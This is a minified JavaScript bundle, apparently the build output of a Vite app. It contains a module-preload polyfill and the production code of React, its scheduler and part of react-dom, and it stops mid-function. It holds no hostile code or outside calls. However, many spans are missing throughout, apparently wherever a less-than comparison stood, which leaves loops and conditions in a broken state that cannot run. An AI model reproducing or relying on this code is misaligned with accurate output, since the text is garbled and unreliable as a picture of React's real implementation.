var _3=Object.defineProperty;var O3=(e,t,n)=>t in e?_3(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):e[t]=n;var nf=(e,t,n)=>O3(e,typeof t!="symbol"?t+"":t,n);function T3(e,t){for(var n=0;nr[i]})}}}return Object.freeze(Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}))}(function(){const t=document.createElement("link").relList;if(t&&t.supports&&t.supports("modulepreload"))return;for(const i of document.querySelectorAll('link[rel="modulepreload"]'))r(i);new MutationObserver(i=>{for(const a of i)if(a.type==="childList")for(const o of a.addedNodes)o.tagName==="LINK"&&o.rel==="modulepreload"&&r(o)}).observe(document,{childList:!0,subtree:!0});function n(i){const a={};return i.integrity&&(a.integrity=i.integrity),i.referrerPolicy&&(a.referrerPolicy=i.referrerPolicy),i.crossOrigin==="use-credentials"?a.credentials="include":i.crossOrigin==="anonymous"?a.credentials="omit":a.credentials="same-origin",a}function r(i){if(i.ep)return;i.ep=!0;const a=n(i);fetch(i.href,a)}})();function jr(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}var b2={exports:{}},Nu={},w2={exports:{}},he={};/** * @license React * react.production.min.js * * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */var Eo=Symbol.for("react.element"),M3=Symbol.for("react.portal"),L3=Symbol.for("react.fragment"),I3=Symbol.for("react.strict_mode"),D3=Symbol.for("react.profiler"),R3=Symbol.for("react.provider"),$3=Symbol.for("react.context"),B3=Symbol.for("react.forward_ref"),F3=Symbol.for("react.suspense"),W3=Symbol.for("react.memo"),U3=Symbol.for("react.lazy"),tv=Symbol.iterator;function V3(e){return e===null||typeof e!="object"?null:(e=tv&&e[tv]||e["@@iterator"],typeof e=="function"?e:null)}var j2={isMounted:function(){return!1},enqueueForceUpdate:function(){},enqueueReplaceState:function(){},enqueueSetState:function(){}},k2=Object.assign,N2={};function Ha(e,t,n){this.props=e,this.context=t,this.refs=N2,this.updater=n||j2}Ha.prototype.isReactComponent={};Ha.prototype.setState=function(e,t){if(typeof e!="object"&&typeof e!="function"&&e!=null)throw Error("setState(...): takes an object of state variables to update or a function which returns an object of state variables.");this.updater.enqueueSetState(this,e,t,"setState")};Ha.prototype.forceUpdate=function(e){this.updater.enqueueForceUpdate(this,e,"forceUpdate")};function S2(){}S2.prototype=Ha.prototype;function rh(e,t,n){this.props=e,this.context=t,this.refs=N2,this.updater=n||j2}var ih=rh.prototype=new S2;ih.constructor=rh;k2(ih,Ha.prototype);ih.isPureReactComponent=!0;var nv=Array.isArray,z2=Object.prototype.hasOwnProperty,ah={current:null},C2={key:!0,ref:!0,__self:!0,__source:!0};function P2(e,t,n){var r,i={},a=null,o=null;if(t!=null)for(r in t.ref!==void 0&&(o=t.ref),t.key!==void 0&&(a=""+t.key),t)z2.call(t,r)&&!C2.hasOwnProperty(r)&&(i[r]=t[r]);var l=arguments.length-2;if(l===1)i.children=n;else if(1>>1,Y=B[q];if(0>>1;qi(fe,$))dei(G,fe)?(B[q]=G,B[de]=$,q=de):(B[q]=fe,B[ae]=$,q=ae);else if(dei(G,$))B[q]=G,B[de]=$,q=de;else break e}}return V}function i(B,V){var $=B.sortIndex-V.sortIndex;return $!==0?$:B.id-V.id}if(typeof performance=="object"&&typeof performance.now=="function"){var a=performance;e.unstable_now=function(){return a.now()}}else{var o=Date,l=o.now();e.unstable_now=function(){return o.now()-l}}var c=[],u=[],d=1,f=null,m=3,h=!1,x=!1,g=!1,y=typeof setTimeout=="function"?setTimeout:null,v=typeof clearTimeout=="function"?clearTimeout:null,b=typeof setImmediate<"u"?setImmediate:null;typeof navigator<"u"&&navigator.scheduling!==void 0&&navigator.scheduling.isInputPending!==void 0&&navigator.scheduling.isInputPending.bind(navigator.scheduling);function w(B){for(var V=n(u);V!==null;){if(V.callback===null)r(u);else if(V.startTime<=B)r(u),V.sortIndex=V.expirationTime,t(c,V);else break;V=n(u)}}function j(B){if(g=!1,w(B),!x)if(n(c)!==null)x=!0,I(k);else{var V=n(u);V!==null&&F(j,V.startTime-B)}}function k(B,V){x=!1,g&&(g=!1,v(z),z=-1),h=!0;var $=m;try{for(w(V),f=n(c);f!==null&&(!(f.expirationTime>V)||B&&!T());){var q=f.callback;if(typeof q=="function"){f.callback=null,m=f.priorityLevel;var Y=q(f.expirationTime<=V);V=e.unstable_now(),typeof Y=="function"?f.callback=Y:f===n(c)&&r(c),w(V)}else r(c);f=n(c)}if(f!==null)var ie=!0;else{var ae=n(u);ae!==null&&F(j,ae.startTime-V),ie=!1}return ie}finally{f=null,m=$,h=!1}}var S=!1,N=null,z=-1,O=5,_=-1;function T(){return!(e.unstable_now()-_B||125q?(B.sortIndex=$,t(u,B),n(c)===null&&B===n(u)&&(g?(v(z),z=-1):g=!0,F(j,$-q))):(B.sortIndex=Y,t(c,B),x||h||(x=!0,I(k))),B},e.unstable_shouldYield=T,e.unstable_wrapCallback=function(B){var V=m;return function(){var $=m;m=V;try{return B.apply(this,arguments)}finally{m=$}}}})(M2);T2.exports=M2;var tz=T2.exports;/** * @license React * react-dom.production.min.js * * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */var nz=p,Jt=tz;function J(e){for(var t="https://reactjs.org/docs/error-decoder.html?invariant="+e,n=1;n"u"||typeof window.document>"u"||typeof window.document.createElement>"u"),dp=Object.prototype.hasOwnProperty,rz=/^[:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD][:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD\-.0-9\u00B7\u0300-\u036F\u203F-\u2040]*$/,iv={},av={};function iz(e){return dp.call(av,e)?!0:dp.call(iv,e)?!1:rz.test(e)?av[e]=!0:(iv[e]=!0,!1)}function az(e,t,n,r){if(n!==null&&n.type===0)return!1;switch(typeof t){case"function":case"symbol":return!0;case"boolean":return r?!1:n!==null?!n.acceptsBooleans:(e=e.toLowerCase().slice(0,5),e!=="data-"&&e!=="aria-");default:return!1}}function sz(e,t,n,r){if(t===null||typeof t>"u"||az(e,t,n,r))return!0;if(r)return!1;if(n!==null)switch(n.type){case 3:return!t;case 4:return t===!1;case 5:return isNaN(t);case 6:return isNaN(t)||1>t}return!1}function Tt(e,t,n,r,i,a,o){this.acceptsBooleans=t===2||t===3||t===4,this.attributeName=r,this.attributeNamespace=i,this.mustUseProperty=n,this.propertyName=e,this.type=t,this.sanitizeURL=a,this.removeEmptyString=o}var bt={};"children dangerouslySetInnerHTML defaultValue defaultChecked innerHTML suppressContentEditableWarning suppressHydrationWarning style".split(" ").forEach(function(e){bt[e]=new Tt(e,0,!1,e,null,!1,!1)});[["acceptCharset","accept-charset"],["className","class"],["htmlFor","for"],["httpEquiv","http-equiv"]].forEach(function(e){var t=e[0];bt[t]=new Tt(t,1,!1,e[1],null,!1,!1)});["contentEditable","draggable","spellCheck","value"].forEach(function(e){bt[e]=new Tt(e,2,!1,e.toLowerCase(),null,!1,!1)});["autoReverse","externalResourcesRequired","focusable","preserveAlpha"].forEach(function(e){bt[e]=new Tt(e,2,!1,e,null,!1,!1)});"allowFullScreen async autoFocus autoPlay controls default defer disabled disablePictureInPicture disableRemotePlayback formNoValidate hidden loop noModule noValidate open playsInline readOnly required reversed scoped seamless itemScope".split(" ").forEach(function(e){bt[e]=new Tt(e,3,!1,e.toLowerCase(),null,!1,!1)});["checked","multiple","muted","selected"].forEach(function(e){bt[e]=new Tt(e,3,!0,e,null,!1,!1)});["capture","download"].forEach(function(e){bt[e]=new Tt(e,4,!1,e,null,!1,!1)});["cols","rows","size","span"].forEach(function(e){bt[e]=new Tt(e,6,!1,e,null,!1,!1)});["rowSpan","start"].forEach(function(e){bt[e]=new Tt(e,5,!1,e.toLowerCase(),null,!1,!1)});var lh=/[\-:]([a-z])/g;function ch(e){return e[1].toUpperCase()}"accent-height alignment-baseline arabic-form baseline-shift cap-height clip-path clip-rule color-interpolation color-interpolation-filters color-profile color-rendering dominant-baseline enable-background fill-opacity fill-rule flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight glyph-name glyph-orientation-horizontal glyph-orientation-vertical horiz-adv-x horiz-origin-x image-rendering letter-spacing lighting-color marker-end marker-mid marker-start overline-position overline-thickness paint-order panose-1 pointer-events rendering-intent shape-rendering stop-color stop-opacity strikethrough-position strikethrough-thickness stroke-dasharray stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlimit stroke-opacity stroke-width text-anchor text-decoration text-rendering underline-position underline-thickness unicode-bidi unicode-range units-per-em v-alphabetic v-hanging v-ideographic v-mathematical vector-effect vert-adv-y vert-origin-x vert-origin-y word-spacing writing-mode xmlns:xlink x-height".split(" ").forEach(function(e){var t=e.replace(lh,ch);bt[t]=new Tt(t,1,!1,e,null,!1,!1)});"xlink:actuate xlink:arcrole xlink:role xlink:show xlink:title xlink:type".split(" ").forEach(function(e){var t=e.replace(lh,ch);bt[t]=new Tt(t,1,!1,e,"http://www.w3.org/1999/xlink",!1,!1)});["xml:base","xml:lang","xml:space"].forEach(function(e){var t=e.replace(lh,ch);bt[t]=new Tt(t,1,!1,e,"http://www.w3.org/XML/1998/namespace",!1,!1)});["tabIndex","crossOrigin"].forEach(function(e){bt[e]=new Tt(e,1,!1,e.toLowerCase(),null,!1,!1)});bt.xlinkHref=new Tt("xlinkHref",1,!1,"xlink:href","http://www.w3.org/1999/xlink",!0,!1);["src","href","action","formAction"].forEach(function(e){bt[e]=new Tt(e,1,!1,e.toLowerCase(),null,!0,!0)});function uh(e,t,n,r){var i=bt.hasOwnProperty(t)?bt[t]:null;(i!==null?i.type!==0:r||!(2l||i[o]!==a[l]){var c=` `+i[o].replace(" at new "," at ");return e.displayName&&c.includes("")&&(c=c.replace("",e.displayName)),c}while(1<=o&&0<=l);break}}}finally{sf=!1,Error.prepareStackTrace=n}return(e=e?e.displayName||e.name:"")?Ps(e):""}function oz(e){switch(e.tag){case 5:return Ps(e.type);case 16:return Ps("Lazy");case 13:return Ps("Suspense");case 19:return Ps("SuspenseList");case 0:case 2:case 15:return e=of(e.type,!1),e;case 11:return e=of(e.type.render,!1),e;case 1:return e=of(e.type,!0),e;default:return""}}function hp(e){if(e==null)return null;if(typeof e=="function")return e.displayName||e.name||null;if(typeof e=="string")return e;switch(e){case oa:return"Fragment";case sa:return"Portal";case fp:return"Profiler";case dh:return"StrictMode";case pp:return"Suspense";case mp:return"SuspenseList"}if(typeof e=="object")switch(e.$$typeof){case D2:return(e.displayName||"Context")+".Consumer";case I2:return(e._context.displayName||"Context")+".Provider";case fh:var t=e.render;return e=e.displayName,e||(e=t.displayName||t.name||"",e=e!==""?"ForwardRef("+e+")":"ForwardRef"),e;case ph:return t=e.displayName||null,t!==null?t:hp(e.type)||"Memo";case Mr:t=e._payload,e=e._init;try{return hp(e(t))}catch{}}return null}function lz(e){var t=e.type;switch(e.tag){case 24:return"Cache";case 9:return(t.displayName||"Context")+".Consumer";case 10:return(t._context.displayName||"Context")+".Provider";case 18:return"DehydratedFragment";case 11:return e=t.render,e=e.displayName||e.name||"",t.displayName||(e!==""?"ForwardRef("+e+")":"ForwardRef");case 7:return"Fragment";case 5:return t;case 4:return"Portal";case 3:return"Root";case 6:return"Text";case 16:return hp(t);case 8:return t===dh?"StrictMode":"Mode";case 22:return"Offscreen";case 12:return"Profiler";case 21:return"Scope";case 13:return"Suspense";case 19:return"SuspenseList";case 25:return"TracingMarker";case 1:case 0:case 17:case 2:case 14:case 15:if(typeof t=="function")return t.displayName||t.name||null;if(typeof t=="string")return t}return null}function ni(e){switch(typeof e){case"boolean":case"number":case"string":case"undefined":return e;case"object":return e;default:return""}}function $2(e){var t=e.type;return(e=e.nodeName)&&e.toLowerCase()==="input"&&(t==="checkbox"||t==="radio")}function cz(e){var t=$2(e)?"checked":"value",n=Object.getOwnPropertyDescriptor(e.constructor.prototype,t),r=""+e[t];if(!e.hasOwnProperty(t)&&typeof n<"u"&&typeof n.get=="function"&&typeof n.set=="function"){var i=n.get,a=n.set;return Object.defineProperty(e,t,{configurable:!0,get:function(){return i.call(this)},set:function(o){r=""+o,a.call(this,o)}}),Object.defineProperty(e,t,{enumerable:n.enumerable}),{getValue:function(){return r},setValue:function(o){r=""+o},stopTracking:function(){e._valueTracker=null,delete e[t]}}}}function nl(e){e._valueTracker||(e._valueTracker=cz(e))}function B2(e){if(!e)return!1;var t=e._valueTracker;if(!t)return!0;var n=t.getValue(),r="";return e&&(r=$2(e)?e.checked?"true":"false":e.value),e=r,e!==n?(t.setValue(e),!0):!1}function ic(e){if(e=e||(typeof document<"u"?document:void 0),typeof e>"u")return null;try{return e.activeElement||e.body}catch{return e.body}}function xp(e,t){var n=t.checked;return Ue({},t,{defaultChecked:void 0,defaultValue:void 0,value:void 0,checked:n??e._wrapperState.initialChecked})}function ov(e,t){var n=t.defaultValue==null?"":t.defaultValue,r=t.checked!=null?t.checked:t.defaultChecked;n=ni(t.value!=null?t.value:n),e._wrapperState={initialChecked:r,initialValue:n,controlled:t.type==="checkbox"||t.type==="radio"?t.checked!=null:t.value!=null}}function F2(e,t){t=t.checked,t!=null&&uh(e,"checked",t,!1)}function vp(e,t){F2(e,t);var n=ni(t.value),r=t.type;if(n!=null)r==="number"?(n===0&&e.value===""||e.value!=n)&&(e.value=""+n):e.value!==""+n&&(e.value=""+n);else if(r==="submit"||r==="reset"){e.removeAttribute("value");return}t.hasOwnProperty("value")?gp(e,t.type,n):t.hasOwnProperty("defaultValue")&&gp(e,t.type,ni(t.defaultValue)),t.checked==null&&t.defaultChecked!=null&&(e.defaultChecked=!!t.defaultChecked)}function lv(e,t,n){if(t.hasOwnProperty("value")||t.hasOwnProperty("defaultValue")){var r=t.type;if(!(r!=="submit"&&r!=="reset"||t.value!==void 0&&t.value!==null))return;t=""+e._wrapperState.initialValue,n||t===e.value||(e.value=t),e.defaultValue=t}n=e.name,n!==""&&(e.name=""),e.defaultChecked=!!e._wrapperState.initialChecked,n!==""&&(e.name=n)}function gp(e,t,n){(t!=="number"||ic(e.ownerDocument)!==e)&&(n==null?e.defaultValue=""+e._wrapperState.initialValue:e.defaultValue!==""+n&&(e.defaultValue=""+n))}var Es=Array.isArray;function wa(e,t,n,r){if(e=e.options,t){t={};for(var i=0;i"+t.valueOf().toString()+"",t=rl.firstChild;e.firstChild;)e.removeChild(e.firstChild);for(;t.firstChild;)e.appendChild(t.firstChild)}});function Hs(e,t){if(t){var n=e.firstChild;if(n&&n===e.lastChild&&n.nodeType===3){n.nodeValue=t;return}}e.textContent=t}var Ls={animationIterationCount:!0,aspectRatio:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,columns:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridArea:!0,gridRow:!0,gridRowEnd:!0,gridRowSpan:!0,gridRowStart:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnSpan:!0,gridColumnStart:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0},uz=["Webkit","ms","Moz","O"];Object.keys(Ls).forEach(function(e){uz.forEach(function(t){t=t+e.charAt(0).toUpperCase()+e.substring(1),Ls[t]=Ls[e]})});function H2(e,t,n){return t==null||typeof t=="boolean"||t===""?"":n||typeof t!="number"||t===0||Ls.hasOwnProperty(e)&&Ls[e]?(""+t).trim():t+"px"}function K2(e,t){e=e.style;for(var n in t)if(t.hasOwnProperty(n)){var r=n.indexOf("--")===0,i=H2(n,t[n],r);n==="float"&&(n="cssFloat"),r?e.setProperty(n,i):e[n]=i}}var dz=Ue({menuitem:!0},{area:!0,base:!0,br:!0,col:!0,embed:!0,hr:!0,img:!0,input:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0});function wp(e,t){if(t){if(dz[e]&&(t.children!=null||t.dangerouslySetInnerHTML!=null))throw Error(J(137,e));if(t.dangerouslySetInnerHTML!=null){if(t.children!=null)throw Error(J(60));if(typeof t.dangerouslySetInnerHTML!="object"||!("__html"in t.dangerouslySetInnerHTML))throw Error(J(61))}if(t.style!=null&&typeof t.style!="object")throw Error(J(62))}}function jp(e,t){if(e.indexOf("-")===-1)return typeof t.is=="string";switch(e){case"annotation-xml":case"color-profile":case"font-face":case"font-face-src":case"font-face-uri":case"font-face-format":case"font-face-name":case"missing-glyph":return!1;default:return!0}}var kp=null;function mh(e){return e=e.target||e.srcElement||window,e.correspondingUseElement&&(e=e.correspondingUseElement),e.nodeType===3?e.parentNode:e}var Np=null,ja=null,ka=null;function dv(e){if(e=Oo(e)){if(typeof Np!="function")throw Error(J(280));var t=e.stateNode;t&&(t=Eu(t),Np(e.stateNode,e.type,t))}}function q2(e){ja?ka?ka.push(e):ka=[e]:ja=e}function Y2(){if(ja){var e=ja,t=ka;if(ka=ja=null,dv(e),t)for(e=0;e>>=0,e===0?32:31-(jz(e)/kz|0)|0}var il=64,al=4194304;function As(e){switch(e&-e){case 1:return 1;case 2:return 2;case 4:return 4;case 8:return 8;case 16:return 16;case 32:return 32;case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return e&4194240;case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:return e&130023424;case 134217728:return 134217728;case 268435456:return 268435456;case 536870912:return 536870912;case 1073741824:return 1073741824;default:return e}}function lc(e,t){var n=e.pendingLanes;if(n===0)return 0;var r=0,i=e.suspendedLanes,a=e.pingedLanes,o=n&268435455;if(o!==0){var l=o&~i;l!==0?r=As(l):(a&=o,a!==0&&(r=As(a)))}else o=n&~i,o!==0?r=As(o):a!==0&&(r=As(a));if(r===0)return 0;if(t!==0&&t!==r&&!(t&i)&&(i=r&-r,a=t&-t,i>=a||i===16&&(a&4194240)!==0))return t;if(r&4&&(r|=n&16),t=e.entangledLanes,t!==0)for(e=e.entanglements,t&=r;0n;n++)t.push(e);return t}function Ao(e,t,n){e.pendingLanes|=t,t!==536870912&&(e.suspendedLanes=0,e.pingedLanes=0),e=e.eventTimes,t=31-En(t),e[t]=n}function Cz(e,t){var n=e.pendingLanes&~t;e.pendingLanes=t,e.suspendedLanes=0,e.pingedLanes=0,e.expiredLanes&=t,e.mutableReadLanes&=t,e.entangledLanes&=t,t=e.entanglements;var r=e.eventTimes;for(e=e.expirationTimes;0=Ds),bv=" ",wv=!1;function mw(e,t){switch(e){case"keyup":return tC.indexOf(t.keyCode)!==-1;case"keydown":return t.keyCode!==229;case"keypress":case"mousedown":case"focusout":return!0;default:return!1}}function hw(e){return e=e.detail,typeof e=="object"&&"data"in e?e.data:null}var la=!1;function rC(e,t){switch(e){case"compositionend":return hw(t);case"keypress":return t.which!==32?null:(wv=!0,bv);case"textInput":return e=t.data,e===bv&&wv?null:e;default:return null}}function iC(e,t){if(la)return e==="compositionend"||!jh&&mw(e,t)?(e=fw(),Wl=yh=Br=null,la=!1,e):null;switch(e){case"paste":return null;case"keypress":if(!(t.ctrlKey||t.altKey||t.metaKey)||t.ctrlKey&&t.altKey){if(t.char&&1=t)return{node:n,offset:t-e};e=r}e:{for(;n;){if(n.nextSibling){n=n.nextSibling;break e}n=n.parentNode}n=void 0}n=Sv(n)}}function yw(e,t){return e&&t?e===t?!0:e&&e.nodeType===3?!1:t&&t.nodeType===3?yw(e,t.parentNode):"contains"in e?e.contains(t):e.compareDocumentPosition?!!(e.compareDocumentPosition(t)&16):!1:!1}function bw(){for(var e=window,t=ic();t instanceof e.HTMLIFrameElement;){try{var n=typeof t.contentWindow.location.href=="string"}catch{n=!1}if(n)e=t.contentWindow;else break;t=ic(e.document)}return t}function kh(e){var t=e&&e.nodeName&&e.nodeName.toLowerCase();return t&&(t==="input"&&(e.type==="text"||e.type==="search"||e.type==="tel"||e.type==="url"||e.type==="password")||t==="textarea"||e.contentEditable==="true")}function pC(e){var t=bw(),n=e.focusedElem,r=e.selectionRange;if(t!==n&&n&&n.ownerDocument&&yw(n.ownerDocument.documentElement,n)){if(r!==null&&kh(n)){if(t=r.start,e=r.end,e===void 0&&(e=t),"selectionStart"in n)n.selectionStart=t,n.selectionEnd=Math.min(e,n.value.length);else if(e=(t=n.ownerDocument||document)&&t.defaultView||window,e.getSelection){e=e.getSelection();var i=n.textContent.length,a=Math.min(r.start,i);r=r.end===void 0?a:Math.min(r.end,i),!e.extend&&a>r&&(i=r,r=a,a=i),i=zv(n,a);var o=zv(n,r);i&&o&&(e.rangeCount!==1||e.anchorNode!==i.node||e.anchorOffset!==i.offset||e.focusNode!==o.node||e.focusOffset!==o.offset)&&(t=t.createRange(),t.setStart(i.node,i.offset),e.removeAllRanges(),a>r?(e.addRange(t),e.extend(o.node,o.offset)):(t.setEnd(o.node,o.offset),e.addRange(t)))}}for(t=[],e=n;e=e.parentNode;)e.nodeType===1&&t.push({element:e,left:e.scrollLeft,top:e.scrollTop});for(typeof n.focus=="function"&&n.focus(),n=0;n=document.documentMode,ca=null,Ap=null,$s=null,_p=!1;function Cv(e,t,n){var r=n.window===n?n.document:n.nodeType===9?n:n.ownerDocument;_p||ca==null||ca!==ic(r)||(r=ca,"selectionStart"in r&&kh(r)?r={start:r.selectionStart,end:r.selectionEnd}:(r=(r.ownerDocument&&r.ownerDocument.defaultView||window).getSelection(),r={anchorNode:r.anchorNode,anchorOffset:r.anchorOffset,focusNode:r.focusNode,focusOffset:r.focusOffset}),$s&&Zs($s,r)||($s=r,r=dc(Ap,"onSelect"),0fa||(e.current=Dp[fa],Dp[fa]=null,fa--)}function Ee(e,t){fa++,Dp[fa]=e.current,e.current=t}var ri={},St=li(ri),$t=li(!1),Li=ri;function _a(e,t){var n=e.type.contextTypes;if(!n)return ri;var r=e.stateNode;if(r&&r.__reactInternalMemoizedUnmaskedChildContext===t)return r.__reactInternalMemoizedMaskedChildContext;var i={},a;for(a in n)i[a]=t[a];return r&&(e=e.stateNode,e.__reactInternalMemoizedUnmaskedChildContext=t,e.__reactInternalMemoizedMaskedChildContext=i),i}function Bt(e){return e=e.childContextTypes,e!=null}function pc(){Me($t),Me(St)}function Mv(e,t,n){if(St.current!==ri)throw Error(J(168));Ee(St,t),Ee($t,n)}function Ew(e,t,n){var r=e.stateNode;if(t=t.childContextTypes,typeof r.getChildContext!="function")return n;r=r.getChildContext();for(var i in r)if(!(i in t))throw Error(J(108,lz(e)||"Unknown",i));return Ue({},n,r)}function mc(e){return e=(e=e.stateNode)&&e.__reactInternalMemoizedMergedChildContext||ri,Li=St.current,Ee(St,e),Ee($t,$t.current),!0}function Lv(e,t,n){var r=e.stateNode;if(!r)throw Error(J(169));n?(e=Ew(e,t,Li),r.__reactInternalMemoizedMergedChildContext=e,Me($t),Me(St),Ee(St,e)):Me($t),Ee($t,n)}var nr=null,Au=!1,wf=!1;function Aw(e){nr===null?nr=[e]:nr.push(e)}function SC(e){Au=!0,Aw(e)}function ci(){if(!wf&&nr!==null){wf=!0;var e=0,t=je;try{var n=nr;for(je=1;e>=o,i-=o,ir=1<<32-En(t)+i|n<z?(O=N,N=null):O=N.sibling;var _=m(v,N,w[z],j);if(_===null){N===null&&(N=O);break}e&&N&&_.alternate===null&&t(v,N),b=a(_,b,z),S===null?k=_:S.sibling=_,S=_,N=O}if(z===w.length)return n(v,N),Re&&vi(v,z),k;if(N===null){for(;zz?(O=N,N=null):O=N.sibling;var T=m(v,N,_.value,j);if(T===null){N===null&&(N=O);break}e&&N&&T.alternate===null&&t(v,N),b=a(T,b,z),S===null?k=T:S.sibling=T,S=T,N=O}if(_.done)return n(v,N),Re&&vi(v,z),k;if(N===null){for(;!_.done;z++,_=w.next())_=f(v,_.value,j),_!==null&&(b=a(_,b,z),S===null?k=_:S.sibling=_,S=_);return Re&&vi(v,z),k}for(N=r(v,N);!_.done;z++,_=w.next())_=h(N,v,z,_.value,j),_!==null&&(e&&_.alternate!==null&&N.delete(_.key===null?z:_.key),b=a(_,b,z),S===null?k=_:S.sibling=_,S=_);return e&&N.forEach(function(E){return t(v,E)}),Re&&vi(v,z),k}function y(v,b,w,j){if(typeof w=="object"&&w!==null&&w.type===oa&&w.key===null&&(w=w.props.children),typeof w=="object"&&w!==null){switch(w.$$typeof){case tl:e:{for(var k=w.key,S=b;S!==null;){if(S.key===k){if(k=w.type,k===oa){if(S.tag===7){n(v,S.sibling),b=i(S,w.props.children),b.return=v,v=b;break e}}else if(S.elementType===k||typeof k=="object"&&k!==null&&k.$$typeof===Mr&&Rv(k)===S.type){n(v,S.sibling),b=i(S,w.props),b.ref=ps(v,S,w),b.return=v,v=b;break e}n(v,S);break}else t(v,S);S=S.sibling}w.type===oa?(b=Ai(w.props.children,v.mode,j,w.key),b.return=v,v=b):(j=Xl(w.type,w.key,w.props,null,v.mode,j),j.ref=ps(v,b,w),j.return=v,v=j)}return o(v);case sa:e:{for(S=w.key;b!==null;){if(b.key===S)if(b.tag===4&&b.stateNode.containerInfo===w.containerInfo&&b.stateNode.implementation===w.implementation){n(v,b.sibling),b=i(b,w.children||[]),b.return=v,v=b;break e}else{n(v,b);break}else t(v,b);b=b.sibling}b=Ef(w,v.mode,j),b.return=v,v=b}return o(v);case Mr:return S=w._init,y(v,b,S(w._payload),j)}if(Es(w))return x(v,b,w,j);if(ls(w))return g(v,b,w,j);fl(v,w)}return typeof w=="string"&&w!==""||typeof w=="number"?(w=""+w,b!==null&&b.tag===6?(n(v,b.sibling),b=i(b,w),b.return=v,v=b):(n(v,b),b=Pf(w,v.mode,j),b.return=v,v=b),o(v)):n(v,b)}return y}var Ta=Mw(!0),Lw=Mw(!1),vc=li(null),gc=null,ha=null,Ch=null;function Ph(){Ch=ha=gc=null}function Eh(e){var t=vc.current;Me(vc),e._currentValue=t}function Bp(e,t,n){for(;e!==null;){var r=e.alternate;if((e.childLanes&t)!==t?(e.childLanes|=t,r!==null&&(r.childLanes|=t)):r!==null&&(r.childLanes&t)!==t&&(r.childLanes|=t),e===n)break;e=e.return}}function Sa(e,t){gc=e,Ch=ha=null,e=e.dependencies,e!==null&&e.firstContext!==null&&(e.lanes&t&&(Lt=!0),e.firstContext=null)}function hn(e){var t=e._currentValue;if(Ch!==e)if(e={context:e,memoizedValue:t,next:null},ha===null){if(gc===null)throw Error(J(308));ha=e,gc.dependencies={lanes:0,firstContext:e}}else ha=ha.next=e;return t}var Ni=null;function Ah(e){Ni===null?Ni=[e]:Ni.push(e)}function Iw(e,t,n,r){var i=t.interleaved;return i===null?(n.next=n,Ah(t)):(n.next=i.next,i.next=n),t.interleaved=n,fr(e,r)}function fr(e,t){e.lanes|=t;var n=e.alternate;for(n!==null&&(n.lanes|=t),n=e,e=e.return;e!==null;)e.childLanes|=t,n=e.alternate,n!==null&&(n.childLanes|=t),n=e,e=e.return;return n.tag===3?n.stateNode:null}var Lr=!1;function _h(e){e.updateQueue={baseState:e.memoizedState,firstBaseUpdate:null,lastBaseUpdate:null,shared:{pending:null,interleaved:null,lanes:0},effects:null}}function Dw(e,t){e=e.updateQueue,t.updateQueue===e&&(t.updateQueue={baseState:e.baseState,firstBaseUpdate:e.firstBaseUpdate,lastBaseUpdate:e.lastBaseUpdate,shared:e.shared,effects:e.effects})}function lr(e,t){return{eventTime:e,lane:t,tag:0,payload:null,callback:null,next:null}}function Yr(e,t,n){var r=e.updateQueue;if(r===null)return null;if(r=r.shared,xe&2){var i=r.pending;return i===null?t.next=t:(t.next=i.next,i.next=t),r.pending=t,fr(e,n)}return i=r.interleaved,i===null?(t.next=t,Ah(r)):(t.next=i.next,i.next=t),r.interleaved=t,fr(e,n)}function Vl(e,t,n){if(t=t.updateQueue,t!==null&&(t=t.shared,(n&4194240)!==0)){var r=t.lanes;r&=e.pendingLanes,n|=r,t.lanes=n,xh(e,n)}}function $v(e,t){var n=e.updateQueue,r=e.alternate;if(r!==null&&(r=r.updateQueue,n===r)){var i=null,a=null;if(n=n.firstBaseUpdate,n!==null){do{var o={eventTime:n.eventTime,lane:n.lane,tag:n.tag,payload:n.payload,callback:n.callback,next:null};a===null?i=a=o:a=a.next=o,n=n.next}while(n!==null);a===null?i=a=t:a=a.next=t}else i=a=t;n={baseState:r.baseState,firstBaseUpdate:i,lastBaseUpdate:a,shared:r.shared,effects:r.effects},e.updateQueue=n;return}e=n.lastBaseUpdate,e===null?n.firstBaseUpdate=t:e.next=t,n.lastBaseUpdate=t}function yc(e,t,n,r){var i=e.updateQueue;Lr=!1;var a=i.firstBaseUpdate,o=i.lastBaseUpdate,l=i.shared.pending;if(l!==null){i.shared.pending=null;var c=l,u=c.next;c.next=null,o===null?a=u:o.next=u,o=c;var d=e.alternate;d!==null&&(d=d.updateQueue,l=d.lastBaseUpdate,l!==o&&(l===null?d.firstBaseUpdate=u:l.next=u,d.lastBaseUpdate=c))}if(a!==null){var f=i.baseState;o=0,d=u=c=null,l=a;do{var 